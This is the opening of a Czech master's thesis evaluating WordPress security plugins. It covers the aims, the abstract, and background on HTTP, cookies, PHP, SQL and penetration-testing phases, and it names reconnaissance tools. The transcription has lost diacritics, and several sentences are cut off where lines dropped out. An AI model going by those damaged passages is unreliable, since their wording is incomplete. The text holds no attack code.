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Cilem této diplomové préce je analyzovat a interpretovat efektivnost vybranych plugind, které slouzi

k zabezpeceni webovych stranek zaloZzenych na systému WordPress. Souéasti hlavniho cile je vzajemna
komparace vybranych plugind.

Dil¢im cilem prace je definovani zakladnich principi hackingu a programovacich jazyku. Ziskané znalosti
budou podkladem pro analyzu efektivnosti plugind, interpretaci vysledku a vyuZiti nastrojl a technik,
které vedou k neopravnénému priniku do systému.

Metodika

K teoretické ¢asti bude vyuzita odborna literatura, publikované odborné a védecké ¢lanky a expertni Setreni
z oblasti hackingu.

Pro analyzu efektivnosti kazdého pluginu budou vytvofeny webové stranky béZici na systému WordPress.
Na strankach bude pomoci dostupnych ndstroji a vybranych technik hackingu zkoumana jejich bezpec-
nost. Provadéné utoky na webové stranky budou znazornény ukazkou komentovaného kédu nebo slovné
vysvétleny a doplnény o obrazky.

Zjisténé nedostatky kazdého bezpecnostniho pluginu budou interpretovany a pouZity pro vzajemnou kom-
paraci vsech pluging.
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Bezpecnostni pluginy systemu WordPress

Abstrakt

Tato préace analyzuje efektivnost vybranych bezpeénostnich plugini systému WordPress.
Zjisténé vysledky jsou interpretovany a vyuzity k vzajemné komparaci pluginll. Soucasti
prace je definovani zakladnich principti hackingu a programovacich jazyka, které jsou
podkladem pro analyzu bezpe€nostnich pluginii, provedeni Gtokli a interpretaci zjiSténych
vysledku. Analyzovano bylo deset nejpouzivanéjSich plugini z hlediska obrany proti

Sesti nejbéznéjsim utokdm na systém WordPress.

Pro kazdy bezpecnostni plugin byla vytvofena webova stranka s WordPressem, kam byl
dany plugin nainstalovan. Pomoci dostupnych nastroji a vybranych technik hackingu byla
zkoumdna bezpecnost webovych stranek. Zjisténé hodnoty u kazdého provadéného utoku
a pluginu byly bodovaci metodou ohodnoceny. Na zéklad¢ téchto bodi bylo stanoveno
poradi plugini. Metodou poradi, tedy souctem potadi z jednotlivych komparaci bylo
stanoveno poradi celkové. Z divodu zvySeni objektivity komparace byla také vytvoiena
webova aplikace, ktera na zakladé stanovenych priorit uZivatelem a zjisténych vysledka

z analyzy, vyhodnoti celkové poradi bezpe¢nostnich plugini.

Az do napsani této diplomové prace neexistoval védecky vyzkum, ktery by analyzoval
efektivnost bezpe¢nostnich pluginti systému WordPress. Zjisténé poznatky z této diplomoveé
prace mohou slouzit vyvojarim pii vyvoji novych bezpecnostnich pluginti, spraveé pluginii
Jiz vyvinutych nebo pfi tvorbé webovych aplikaci, které nutné nemusi byt zaloZené na

systému WordPress.

Kli¢ova slova: hacking, web, bezpecnost, utoky, WordPress, plugin



WordPress Security Plugins

Abstract

This work analyses the effectiveness of selected WordPress security plugins. The results are
interpreted and used to compare the plugins. The work includes definition of basic principles
of hacking and programming languages, which are the basis for analysing security plugins,
performing attacks and interpreting the results. The 10 most commonly used plugins have

been analysed for protection against the 6 most common attacks on WordPress.

For each security plugin was created a WordPress site where the plugin was installed. Using
the available tools and selected hacking techniques, site security has been investigated. The
detected values for each attack and plugin were evaluated by the scoring method. Based on
these points, the order of the plugins was determined. The overall order was determined by
the ranking method as the sum of the order of the individual comparisons. To increase the
objectivity of the comparison, a web-based application has been. The application evaluates
the overall order of security plugins based on user-defined priorities and the results obtained

from the analysis.

Until the writing of this diploma thesis there was no scientific research that would analyse
the effectiveness of WordPress security plugins. The information obtained from this thesis
may be useful to developers in developing new security plugins, managing plugins that are

already developed, or creating web applications that may not run on WordPress.

Keywords: hacking, website, security, attacks, WordPress, plugin
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1 Uvod

V dobé psani této prace bézi 28 % vSech webovych stranek na systému WordPress a jeho
popularita stale roste. Jedna se tedy 0 nejpouzivanéjsi Content Management System (CMS)
na trhu. Diky Siroké $kale dostupnych pluginti, 1ze pomoci WordPressu vytvofit standardni
webovou prezentaci firmy ¢i dokonce e-shop. S vétsi popularitou roste i vétsi zajem

vyvojait, kteti vytvari nové pluginy a rozsifuji tim moznosti vyuziti WordPressu.

Kazda webova aplikace, at’ uz mala nebo velka obsahuje citliva data, ktera je potieba chranit.
Bezpecnost tak hraje klicovou roli pfi vyvoji webovych stranek a predevsim téch, které
shromazd’uji divérné informace o uzivatelich. Ochrana osobnich tdaju a jejich bezpecné
uloZeni je navic aktualnim tématem, protoze v kvétnu 2018 vejde v uéinnost Obecné

natizeni na ochranu osobnich tdajti neboli GDPR (General Data Protection Regulation).

WordPress mé ve srovnani s ostatnimi CMS jako Joomla nebo Drupal vice nalezenych
zranitelnosti. Pokud k poétu reporti odeslanych na CVE Details zahrneme i popularitu
WordPressu, a tedy vice lidi, ktefi jsou schopni zranitelnost odhalit, pak nelze fici, ze by byl
méné bezpecny nez ostatni CMS. Nehled¢ na tento fakt, je kazda nove objevend zranitelnost

ihned opravena v nové verzi.

Zasadnim bezpecnostnim problémem WordPressu jsou ovsem pluginy a $ablony, které si do
néj uzivatelé instaluji. Pluginy jsou vytvareny nezavislymi vyvojari, kteti ¢asto neveénuji
dostate¢nou pozornost k ochrané citlivych dat nebo svou neznalosti dovoli, aby v jejich
pluginech vznikly bezpe¢nostni diry. Tym WordPressu sice kontroluje bezpeénost kazdého
pluginu pted jeho vloZzenim na své stranky, avSak nedokaze nalézt vSechny jeho
zranitelnosti. Z téchto duvodi je nejcastéjsi pticinou hacknutych webovych stranek
existence zranitelnosti v nainstalovaném pluginu. Pravé zranitelnost v nainstalovaném
pluginu byla vyuzita v ramci této diplomové préce pii Gtoku na webové stranky, atedy
v analyze bezpecnostnich plugini z hlediska obrany proti SQL Injection a Cross-Site
Scripting.

Jedinou moznosti, jak se branit utokim a tim chrénit sva citliva data ve WordPressu, je
instalace bezpe¢nostniho pluginu. Vétsina takovych pluginti obsahuje funkce jako je napi.
firewall, monitorovani neo¢ekavanych udalosti, hledani malwaru nebo blokovani uzivateld
po n¢kolika neuspésnych pokusech o piihlaSeni. WordPress sam 0 sobé Zzadnou takovou

funkci neobsahuje a je proto dulezité mit bezpe¢nostni plugin nainstalovan.
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V soucasné dobé& existuje n€kolik c¢lankt v anglickém jazyce, které porovnavaji
bezpe¢nostni pluginy z hlediska nabizenych funkci. V Zadném z nich neni ovSem jejich
funk¢nost otestovana. Pravé to bylo podkladem pro vybér tématu této diplomove préce, kteréa
analyzou efektivnosti bezpeénostnich plugint a jejich vzajemnou komparaci rozsifuje
vyzkum v oblasti bezpe¢nosti webovych aplikaci. Zjisténé poznatky z této diplomoveé prace
mohou napiiklad slouzit vyvojafim pfi vyvoji novych bezpeCnostnich plugini, spravé
plugind jiz vyvinutych nebo pfi tvorbé webovych aplikaci, které nutné nemusi byt zaloZzené

na systému WordPress.

2 Cile a metodika prace

2.1 Cil prace

Cilem této diplomové prace je analyzovat a interpretovat efektivnost vybranych plugind,
které slouzi k zabezpeceni webovych stranek zalozenych na systému WordPress. Soucasti

hlavniho cile je vzajemna komparace vybranych plugint.

Dil¢im cilem prace je definovani zékladnich principti hackingu a programovacich jazykd.
Ziskané znalosti budou podkladem pro analyzu efektivnosti plugind, interpretaci vysledkl
a vyuziti nastroju a technik, které vedou k neopravnénému pruniku do systému.

2.2 Metodika prace

K teoretické ¢asti bude vyuzita odbornd literatura, publikované odborné a védecké ¢lanky

a expertni Setfeni z oblasti hackingu.

Pro analyzu efektivnosti kazdého pluginu budou vytvoreny webové stranky bézici na
systému WordPress. Na strankach bude pomoci dostupnych nastroju a vybranych technik
hackingu zkoumdana jejich bezpecnost. Provadéné utoky na webové stranky budou

znazornény ukazkou komentovaného kodu nebo slovné vysvétleny a doplnény o obrazky.

Zjisténé nedostatky kazdého bezpecnostniho pluginu budou interpretovany a pouzity pro

vzajemnou komparaci vSech plugind.
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3 Teoreticka vychodiska

Webove stranky jsou vSeobecnym pojmem pro statické ¢i dynamické stranky. JelikoZ nema
smysl zkoumat bezpecnost statickych stranek, tak v této praci bude pouzivan predev§im
vyraz webova aplikace. Webové aplikace predstavuji slozitéjsi webové stranky, které
generuji dynamicky obsah z libovolného uloziste, obsahuji davérné informace a Casto také
umoznuji ptihlaSovani uzivateli.

V nasledujici ¢asti diplomové prace jsou vysvétleny zakladni principy hackingu

a programovacich jazyku.
3.1 WordPress

WordPress je CMS (Content Management System), resp. systém pro spravu obsahu
webovych strdnek (adaptic.cz), ktery je napsan v PHP avyuziva MySQL databazi
(WordPress.org). Celkem 28 % ze vSech webovych stranek bézi na WordPressu a fadi ho to
tak mezi nejpouzivanéjsi CMS (WordPress.com). Zasluhu na tom ma open-source licence,
velka komunita uzivatell, Casté¢ aktualizace a spousta pluginti, které¢ si lze do CMS

nainstalovat (whichcmstochoose.com, 2017).

Vsechny zminéné vyhody vedou k jedné hlavni nevyhodé WordPressu, kterou je nizka
licenci snadné najit ve zdrojovém kodu bezpeénostni diru. K utokiim také vyuzivaji
nedostate¢né chranéné pluginy, které jsou vytvoreny uzivateli WordPressu. (Moreno, 2014)
(McKinnon, 2017)

3.2  Webovy server

Pojem webovy server se da vylozit jako pocitac, na kterém bézi program umoziujici piistup
K souborim na ném uloZzenych. Soucasné se pravé itento program nazyva webovym
serverem. Soubory, které jsou uloZzeny na tomto pocitaci, nejcastéji predstavuji jednotlivé
stranky webu a vétSinou jsou napsany ve znac¢kovacim jazyku HTML (HyperText Markup
Language). (Web Developers Notes)

Komunikace mezi uzivatelem stranek, resp. webovym prohlizeem a serverem probiha
Protocol Secure) nebo nejnovéjsSiho protokolu HTTP/2.0. Uzivatel pomoci webového

prohliZze¢e navstivi ur€itou stranku zadanim cesty k souboru, resp. URL adresy (Uniform
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Resource Locator). URL obsahuje pfipojovaci protokol, IP adresu nebo doménové jméno
weboveého serveru, cestu k souboru a popt. ¢islo portu nebo parametry stranky (adaptic.cz).
Webovy server, na ktery je pozadavek odeslan ho zpracuje a posle odpovéd’ v podobé
obsahu souboru, tedy nejcastéji HTML. Tento proces je ptikladem vypocetniho modelu
klient/server. (Rouse, 2015) (Web Developers Notes)

3.3 HTTP

HTTP je zdkladnim komunika¢nim protokolem pouzivanym K pfistupu na webové stranky.
Funguje na principu zprav, kdy klient posle pozadavek a server odpovéd’. Kazda tato zprava
se sklada z hlavicky atéla. HTTP je zaroven aplika¢nim protokolem, ktery vyuziva
transportni protokol TCP (Transmission Control Protocol). Kazdé sitové spojeni
aplika¢niho a transportniho protokolu je rozliSeno ¢islem, tzv. portem. HTTP ma nejcastéji

port 80 a HTTPS port 443. (Sochor, 2013) (Clark, 2013) (Stuttard, a dalsi, 2011 str. 40)

HTTP definuje osm metod, kterymi Ize ptistupovat ptes URL adresu k soubortim na serveru.
Jedna se o metodu GET, POST, PUT, HEAD, DELETE, TRACE, OPTIONS a CONNECT.
Webové sluzby, které podporuji tyto akce se nazyvaji sluzbami zdrojové orientovanymi

a fika se, ze odpovidaji architektuie REST (Representational State Transfer). (Clark, 2013)

Nejpouzivangjsi metodou je GET a POST. Metoda GET slouzi k pfijimani zdroju ze serveru.
Ziskané zdroje se mohou liSit podle parametri v URL adrese. VSechny URL adresy se
zobrazuji v prohlizeci a jsou uchovany v historii prohlizece a na webovém serveru. To sebou
nese bezpeCnostni riziko, a proto by parametry nemeély obsahovat citlivé informace.

(Stuttard, a dalsi, 2011 str. 42)

Pfi pouziti metody POST jsou parametry odesilany piimo v téle zpravy a nejsou tak viditelné
v URL. Diky tomu se parametry neukladaji do historie prohlize¢e ani na webovy Server.
Pravé proto se tato metoda hodi ke spousténi funkci na serveru, které upravuji nebo pridavaji
data vdatovém ulozisti. (Yaworski, 2016 str. 11) (Stuttard, adalsi, 2011 str. 43)
(W3schools)

Metoda HEAD je identick& s metodou GET, avsak server v odpovédi neposila télo zpravy,
nybrz pouze hlavicku. Metoda PUT slouzi ke spusténi funkce, ktera pracuje s existujicim
objektem na serveru. Metoda DELETE slouzi k mazani zdroji, TRACE k testovani

ptichozich pozadavka na server, OPTIONS informuje o tom, které HTTP metody jsou na
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serveru kdispozici a metoda CONNECT je vyhrazena pro proxy server. (Yaworski,
2016 stranky 11,12) (Stuttard, a dalsi, 2011 str. 43)

3.3.1

Hlavicky

Kazdy pozadavek nebo odpovéd’ se sklada z téla a hlavicky. Hlavi¢ka obsahuje hodnoty,

jinak fec¢eno hlavicky, které specifikuji obsah téla zpravy a poskytuji dal$i potiebné

informace pro server nebo klienta. Podle (W3C) je celkem 47 moznych hodnot, z nichz

nékteré jsou podle (Stuttard, a dalsi, 2011 stranky 45,46) pro neobvyklé ucely, a tedy méné

vyuzivané. Autofi dale dodavaji, Zze dale zminéné hlavicky jsou dulezité z hlediska

bezpec¢nosti webovych aplikaci. (Jackson, 2016) seznam prodluZzuje o nékteré dalsi.

Hodnoty spole¢né pro pozadavek i odpovéd’:

Connection informuje koncové zafizeni o tom, zda ma ukoncit spojeni nebo ho
nechat oteviené pro budouci zpravy.

Content-Encoding urcuje v jakém kodovani je télo zpravy, napf. gzip.
Content-Length je délka zpravy v bajtech.

Content-Type specifikuje typ obsahu zpravy, napt. text/html pro HTML dokument.
Transfer-Encoding uréuje v§echna kodovani, ktera byla béhem ptenosu pies HTTP

aplikovana na télo zpravy.

Hlavic¢ky pozadavku:

Accept informuje server o tom, jaky typ obsahu je klient ochotny piijmout.
Accept-Encoding informuje server o tom, jaké kédovani obsahu je klient ochotny
pfijmout.

Authorization obsahuje informaci o pouzit¢ HTTP autentizaci a piihlaSovaci udaje.
Cookie ptedava serveru tzv. cookies, které jsou blize popsané v kapitole 3.5.

Host specifikuje ndzev hostitele, ktery je v URL pozadavku.

If-Modified-Since uréuje, kdy prohlize¢ naposledy piijal pozadovany objekt neboli
zdroj. Pokud se zdroj od té doby nezménil, pak server posle odpovéd’ bez téla zpravy
s HTTP kédem 304. Prohlize¢ tak miize nacist objekt ze své mezipaméti.
If-None-Match specifikuje tzv. entity tag vydany serverem pii poslednim
pozadavku na objekt. Server tento tag pouziva k uréeni, zda muze prohlize¢ nacist

objekt ze své mezipaméti.
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Origin se pouziva pfi ajaxovém pozadavku na jinou doménu k indikaci, z které
domény ptvodné pozadavek pochézi.

Referer specifikuje URL, ze které byl odeslan pozadavek.

User-Agent poskytuje informaci o verzi prohlizece ¢i jiného Klientského softwaru,

ktery vygeneroval pozadavek.

Hlavicky odpovédi:

Access-Control-Allow-Origin indikuje, zda mize byt zdroj ziskan z jiné domény ¢i
nikoliv.

Cache-Control piedava prohlize¢i pokyny k ukladani do mezipaméti.

ETag je jiz zminovany entity tag, ktery je nasledné¢ prohlize¢em odeslan
v pozadavku a informuje server otom, jakou verzi objektu prohlize¢ drzi ve své
mezipaméti.

Expires informuje prohlize¢ o tom, po jakou dobu je obsah v téle zpravy validni,
a tedy jak dlouhou mutize prohlize¢ nacitat objekt ze své mezipaméti.

Location se pouziva pii pfesmérovani a specifikuje cilovou URL.

Server poskytuje informace o0 pouzitém webovém serveru.

Set-Cookie nastavuje cookies v prohlizeci, které jsou nasledné prohlizecem zasilany
zpét vV pozadavcich.

WWW-Authenticate urcuje, které typy autentizaci server podporuje.
X-Frame-Options specifikuje, zda a jak muze byt aktualni odpovéd’ nactena v ramci
prohlizece.

Content-Security-Policy definuje zdroje obsahu, které mize prohlize¢ naéist. Tato
zasada pomaha predchazet Gitoktim jako je naptiklad Cross-Site Scripting (XSS).
Strict-Transport-Security informuje prohlize¢, aby vynutil HTTPS pfipojeni.
Public-Key-Pins informuje prohlize¢ o pfidruzeni vefejného klice s uréitym
webovym serverem, aby zabranil Man-in-the-Middle (MitM) Gtokiim pomoci
padélanych certifikatt.

X-Content-Typ-Options zabranuje prohlize¢i zmeénit deklarovany typ obsahu
Vv hlavi¢ce Content-Type.

X-XSS-Protection vynucuje Cross-Site Scripting (XSS) filtr, ktery zastavuje
nacitani stranek pii detekci XSS tutoku.

17



332 HTTPS

HyperText Transfer Protocol Secure, na rozdil od HTTP vyuziva kromé nezabezpeceného
transportniho protokolu TCP, také vrstvu SSL (Secure Sockets Layer), kterd poskytuje
vrstvou TLS (Transport Layer Security), avSsak pojmenovani se Casto zaménuje nebo se
pouziva vzajemné spojeni TLS/SSL. (Stuttard, a dalsi, 2011 str. 49) (Kangas, 2016)

TLS/SSL vyuziva kombinaci symetrické a asymetrické $ifry. Pozadavek, ktery klient posila
na server je Sifrovan pomoci klice symetrické Sifry, kterym je pak také desifrovan. Pied
odeslanim zpravy je proto nejdiive nutné odeslat symetricky kli¢ a provest tedy, tzv. podani
ruky, anglicky ,,SSL Handshake*, kdy dochazi k ovéieni identity obou zafizeni. V této fazi
Klient pozada server o certifikat, ktery obsahuje vefejny kli¢ asymetrické Sifry. Po jeho
ziskani ov¢fi, zda se jedna o davéryhodny certifikat a pokud ano, tak kli¢em zaSifruje
symetricky kli¢ a posle ho na server. Server zpravu deSifruje privatnim klicem a zasle
klientovi odpoveéd’ o uspesném ziskani symetrického klice. V dalsi fazi pak probiha samotna
komunikace. K novému ovéfeni totoznosti dochazi po vygenerovani nového symetrického
kli¢e, napt. po zavieni a otevieni prohlizee. (Walls, 2006 stranky 344,345) (DigiCert)
(Pedersen, 2011 stranky 569,570)

333 HTTP/2

HTTP/2 je nejnovéjsi verze protokolu HTTP, ktery pfinesl fadu vylepSeni. Hlavnim
ptinosem je multiplexing, tzn. zpracovani vice pozadavkti a odpovédi najednou. Dochazi tim
ke zlepseni vykonu aplikace, ¢emuz pftispiva také komprese HTTP hlavic¢ek. Jednotlivé
zpravy jsou navic formovany do ramt neboli proudd, kterym Ize nastavit priority. (Grigorik,
2017)

Pro kompresi HTTP hlavicek byl zprvu vyuzivan protokol SPDY s kompresi ZLIB, ktery
vyvinul Google. V roce 2012 byl ov§em publikovan CRIME (Compression Ration Info-leak
Mafe Easy) Utok proti SPDY, ktery vede k Session Hijacking (nos relace). Pro kompresi se
proto nyni pouziva algoritmus HPACK. (Grigorik, 2017)

3.3.4 HTTP autentizace

HTTP protokol poskytuje vlastni mechanizmus pro autentizaci uzivatel, pti¢emz pro

ovéfovani pouziva nékolik schémat. Schémata se lisi v bezpe€nosti, jejich dostupnosti
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v prohlize¢i a serverovém softwaru. V nasledujicim vyétu jsou bézné pouzivana schémata.
(Stuttard, a dalsi, 2011 str. 50) (Hunt, a dalsi, 2017)

e Basic — ptihlasovaci Udaje zakodované v base64.

e Digest — ptihlasovaci Udaje jsou zasifrovany pomoci md5.

e Bearer — vyuziva tokeny k ovéteni ptistupu zabezpecenych zdroju.

e HOBA —HTTP Origin-Bound Autentication, k ovéteni vyuziva digitalni podpis.
e NTLM - vyuziva Windows NTLM protokol.

V ptipad¢, Ze je nutné provést autentizaci, tak server posle v odpovédi HTTP kod 401
(Unauthorized) a v hlavicce WWW-Authenticate posle dostupna ovérovaci schémata. Klient,
resp. prohliZze¢ nejprve zobrazi formulat pro zadani ptihlaSovacich udaji a ty spole¢né se

zvolenym schématem odesle v hlavicce svého pozadavku. (Hunt, a dalsi, 2017)
3.4 HTTP Proxy server

Proxy server zprostfedkovava ptistup mezi prohlizecem a webovym serverem. Déle mohou
poskytovat dalsi sluzby jako je naptiklad uklddani dat do mezipaméti (caching) nebo
ovéfovani a fizeni pfistupu uzivatelli. Proxy server se vyuziva pii utocich na webové
aplikace, protoZze umoznuje prohliZzet a ménit vSechny pozadavky a odpovédi, a to i piesto,

7e komunikace probiha pres HTTPS. (Stuttard, a dalsi, 2011 str. 50)
3.5 Cookies

Cookies jsou uzivatelska data ulozend v souboru klientského pocitace (Olsson, 2016). Kazdy
jednotlivy Gdaj v cookies se nazyva cookie a sklada se z ndzvu a hodnoty. Cookies jsou
odesilany v kazdém pozadavku pomoci HTTP hlavi¢ky Cookie. Novy udaj mize byt pfidan
serverem skrze hlavic¢ku Set-Cookie v odpovédi. Kromé nazvu a hodnoty Ize nastavit cookie

nasledujici atributy:

e expires — doba trvani cookie,

e domain — doména, pro kterou cookie plati,

e path — URL pro kterou cookie plati,

e secure — je-li nastaven tento atribut, pak bude cookie odeslano pouze v HTTPS
pozadavcich,

e HttpOnly — zabratiuje piistupovat k hodnoté ptes skriptovaci jazyk JavaScript.
(Stuttard, a dalsi, 2011 str. 47)
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3.6 Client-side technologie

Client-side je souhrnny nazev pro technologie bézici na strané klienta, tedy v prohlizeci.

Casto se také pouziva pojem Front-End technologie. (Wodehouse, 2015)

3.6.1 HTML

HyperText Markup Language neboli HTML je zakladni technologii pouZzivanou pro
vytvafeni webového rozhrani. Struktura dokumentu se vytvaii z tagu, resp. elementd,
pfi¢emz kazdy z nich plni urcitou funkci. Z hlediska bezpecnosti webovych aplikaci jsou
nejdulezitéjsi elementy, které po akci uzivatele, napt. kliknuti, vyvolaji komunikaci mezi
Klientem a serverem. Do této skupiny tagti patii odkaz a formulaf. (Stuttard, a dalsi, 2011 str.
58)

V roce 2008 vysla nova verze HTML5, ktera s sebou pfinesla nové tagy, atributy a funkce.
Ptibyly napfiklad nové moznosti ukladani uzivatelskych dat na strané klienta a tim vznikl
novy druh utoku nazyvany Client-side SQL Injection. Dale doslo ke zméné zpusobu
zpracovani Ajax pozadavku, které nové umoziuje obousmérnou interakci mezi doménami,
atim se oteviela dal§$i moznost utoku. (Stuttard, a dalsi, 2011 stranky 64,65) (Lubbers,
a dalsi, 2011 stranky 22,25,29-32)

3.6.2 JavaScript

JavaScript je skriptovaci programovaci jazyk, ktery se spousti v prohlizec¢i po stazeni HTML
dokumentu ze serveru. Pouziva se k vylepseni uzivatelského rozhrani zptsoby, které nelze
provést pomoci HTML. Jedna se napiiklad o dynamickou zménu uzivatelského rozhrani
vyvolanou akei uzivatele, napt. Kliknutim. K provedeni této zmény neni potiecba odeslat
pozadavek na webovy server. Diky tomu dochazi k aspote ¢asu potiebného k navazani

spojeni se serverem a pockani na jeho odpovéd’. Webova aplikace se tak stava rychlejsi
a interaktivni. (Suehring, 2008 stranky 19,20)

Mezi dalsi Casté ditvody pouziti JavaScriptu patii ovéteni dat zadanych ve formulafi jesté
predtim, neZ jsou odeslana na server. Dale pak K ovladani prohlize¢e pomoci DOM
(Document Object Model), ktery je abstraktni reprezentaci HTML dokumentu. DOM
umoziuje manipulovat s jednotlivymi HTML elementy, cookies, URL adresou a umoziuje
spoustét akce jako je odeslani formulare, stisknuti kldvesy nebo pfesmérovani stranky.

(Stuttard, a dalsi, 2011 stranky 61,62)
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V dnesni dobé je JavaScript nedilnou soucasti webovych aplikaci aje jednou
z nejpouzivanéjsich technologii viibec. Tento fakt potvrzuje i existence nespocet knihoven,
které usnadfiuji programovani v JavaScriptu. Mezi nejpouzivangjsi knihovny patii jQuery,
React, Angular, Vue aj. (Zara, 2015 str. 12) (JavaScripting.com, 2017)

363 Ajax

Asynchronous JavaScript and XML neboli Ajax je technologie, pomoci které Ize provadét
asynchronni HTTP pozadavky na server. Pozadavky se provadi na pozadi a uzivatele o nich
nemusi ani veédét. Tuto technologii umozfiuje objekt v JavaScriptu nazyvany
XMLHttpRequest, ktery pfijima a odesila pozadavky na server v XML nebo forméatu JSSON.
(Stuttard, a dalsi, 2011 str. 62)(Zakas, a dalsi, 2007 str. 15) (Suehring, 2008 str. 263)

XML (Extensible Markup Language) je znackovaci jazyk, ktery stejné jako HTML pouziva
elementy pro vytvoieni struktury dokumentu. Jednotlivé elementy jsou uzivatelsky
definované, ato je divodem, pro¢ se XML casto pouziva pro vyménu dat. (Suehring,
2008 str. 263)

JSON (JavaScript Object Notation) je jednodussim a efektivnéj$im formatem, ktery vychazi
ze syntaxe JavaScriptu. Neni nutné tedy data prevadét na objekty JavaScriptu jako je tomu
v ptipadé XML. Pro pfevedeni dat do objektii se v modernich prohlizecich pouziva funkce
JSON.parse a ve starSich prohlize¢ich se pouziva funkce eval. Funkce eval spusti fetézec
Vv parametru jako ptikaz, a proto je nutné z bezpec¢nostnich divodu nejdtive tento fetézec
oSettit. (Stuttard, a dalsi, 2011 str. 280) (Zakas, a dalsi, 2007 stranky 237,240,241) (Vréna,
2012 str. 335)

3.6.4 Same-Origin Policy

Same Origin Policy je politika implementovana v prohlizecich, kter4d zamezuje piistup
k datim nebo obsahu webovych stranek z jiné domény. Politika dale kontroluje subdomenu,
protokol a port, na kterém komunikace probiha. Kromé Same Origin Policy existuji také
bezpec¢nostni politiky zaméfené na objekt XMLHttpRequest, technologii Silverlite, Gears

nebo na objekty Javy. (Kimmel, 2011 stranky 42, 43)
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3.7 Server-side technologie

Technologiim, které bézi na serveru se krom¢ Server-side tika také Back-End technologie.
Vyuzivaji se pro generovani dynamického obsahu, ktery je soucasti vétSiny dneSnich

webovych aplikaci. (Stuttard, a dalsi, 2011 str. 51) (Wodehouse, 2015)

Dynamicky obsah je vysledkem probéhnutého kodu, resp. programu. Takovy program miize
pfijimat vstupni proménné, na zakladé kterych lze vygenerovat specificky obsah. Diky tomu
mizeme naptiklad kazdému uzivateli zobrazit unikatni obsah. (Stuttard, a dalsi,

2011 stranky 51,52)

3.71 PHP

Programovaci jazyk PHP vychézi z jazyka C a jeho jadro tvoii Zend Engine, ktery rozebira
a spousti zdrojovy kod skripti. PHP se propojuje s webovym serverem tfemi zpusoby.
Prvnim a nejpomalejsim je CGI, kdy kazdy skript spusti jeden interpret PHP. Druhym
zpusobem je vyuziti modulu webového serveru. Poslednim zptisobem je vylepSené CGI, tzv.
FastCGI, kdy interpret PHP bézi na pozadi a pfedavaji se mu skripty pro zpracovani. (Vrana,
2012 stranky 47,439)

PHP obsahuje tzv. session (relace), které fesi problém bezstavovosti HTTP a umoznuji tak
uchovat data skrze vice pozadavkul. Relace je nejcastéji pouzivana praveé pro zapamatovani
ptihlasené¢ho uzivatele. K zapamatovani slouzi session proménné, které jsou na serveru
uloZzeny do souboru. V cookies je pak ulozen otisek (hash) session ID, které slouzi
k identifikaci praveé bézici relace. Kazda relace ma omezenou dobu trvani. (W3Schools,

2017) (Vrana, 2012 stranky 65, 177, 411)

PHP je castou volbou pfi tvorbé webovych aplikaci, diky jednoduchosti jeho pouziti.
Zpusob, jakym bylo PHP navrzeno ajeho zéakladni nastaveni, vedlo ke snadnéj$imu
vytvofeni bezpecnostnich dér ve zdrojovém kodu webové aplikace. Konfigurace, které
zpusobovaly problémy byly s novymi verzemi PHP odstrafiovany. Nejnovéjsi verze PHP 7,
dle statistik webu (CVE Details, 2017), obsahuje aktualné 78 bezpecnostnich dér. (Stuttard,
a dalsi, 2011 stranky 55,732)

3.7.2 SQL
Structured Query Language (SQL) je jazyk, ktery se pouZziva k manipulaci dat v relaénich
databazich Oracle, MS-SQL, MySQL, PostgreSQL aj. V rela¢nich databazich jsou data
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ulozena v tabulkach, kde kazda tabulka ma sloupce, které reprezentuji urcitou hodnotu

a fadky reprezentujici zaznamy. (Stuttard, a dalsi, 2011 str. 55)

Webové aplikace, které pracuji s databazi vyuzivaji SQL dotazy jejichZ soucasti jsou Casto
hodnoty vlozené uZivatelem aplikace. Naptiklad po odeslani formulaie pro Upravu
kontaktnich informaci uzivatele, se tyto udaje pomoci SQL dotazu odeslou na server. Pokud
by utocnik zamérné odeslal skodlivy tdaj, mohl by pozménit nebo precist citlivé udaje

v databazi. (Stuttard, a dalsi, 2011 str. 56)
3.8 Penetracni testovani

Penetracni testovani je proces, jehoz cilem je nalézt anasledné odstranit slabé stranky
zabezpe&eni webovych aplikaci. Utoénici vyuzivaji penetraéni testovani k nalezeni nejméné
jedné bezpecnostni diry, zatimco penetracni testefi se snazi najit vSechny zranitelnosti

aplikace, které se nasledné opravi. (Caddy, 2011 stranky 920, 921) (Vrana, 2012 str. 375)

Pfedpokladem pro penetracni testovani je fakt, ze vybrany cil je tvofen z hardwaru, softwaru
a lidskych zdroju. Diky tomu je nutné kromé hledani bezpecnostnich dér v aplikaci
analyzovat zranitelnost lidi, napt. pomoci socialniho inZzenyrstvi. (Caddy, 2011 stranky 920,
921)

Penetracni testovani se podle (Kim, 2015 str. 21) a (Selecky, 2012 strdnky 7, 8, 12-14) déli
na externi skenovani, interni skenovani a skenovani webové aplikace. Samotné skenovani
probiha ve 4 fazich — uréeni cile a rozsahu, sbér dat, skenovani a exploatace a nakonec
report. (Caddy, 2011 stranky 920, 921) rozd¢luje penetraéni testovani na pasivni a aktivni
odposlech, ktery je popsany dale v této kapitole. (Stuttard, adalsi, 2011 str. 702) déli
penetra¢ni testovani na Black-box (Eerna skiifika) a White-box (bila sktinka). Pii Black-box
testovani neni k dispozici zdrojovy kdd a tester nevi, jak systém funguje a jak vypada jeho

struktura. Naopak u White-box testovani je zdrojovy kod k dispozici.

3.8.1 Pasivni odposlech

Pfi pasivnim odposlechu neboli pozorovani se snazi tester nebo Gto¢nik ziskat co nejvice
informaci o cili, sitich, klientech a dalSich souvisejicich vécech, aniz by nepfiznivé ovlivnil
provoz aplikace. Casto se k takovému priizkumu vyuzivaji falesné uéty na socialnich sitich

jako je LinkedIn, Facebook, Twitter atd. (Kim, 2015 str. 26) (Caddy, 2011 stranky 920, 921)
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Kromé nastroji jako Discover Scripts, Recon-ng, Spiderfoot, Wordhound atd. Ize potiebné
informace o testovaném cili zjistit pomoci vyhledavaci. Naptiklad vyhledava¢ Google
umoznuje ve vyhledavani pouzivat specialni operatory, které pomahaji dostat se lépe
k pozadovanym informacim. Obdobné lze vyuzit proménné v URL Googlu. Diky tomu je
mozné dohledat informace jako jsou nazvy domén, které nas cil vyuziva, podrobnosti
0 zafizenich na siti adal$i uzite¢né informace. (Kim, 2015 strdnky 26-34) (Long,
2005 stranky 39, 58, 159-179)

3.8.2  Aktivni odposlech

Aktivni odposlech je proces, pii kterém je snahou identifikovat jednotlive systémy a sluzby
cilového prostiedi a najit v nich bezpecnostni nedostatky (Caddy, 2011 stranky 920, 921).
(Kim, 2015 str. 45) uvadi nékolik vhodnych nastroji pro aktivni odposlech. Jedna se
naptiklad o Masscan, Sparta, HTTP Screenshot, Nexpose, Nessus, OpenVAS, Nmap atd.

3.8.3 Interni a externi skenovani sité

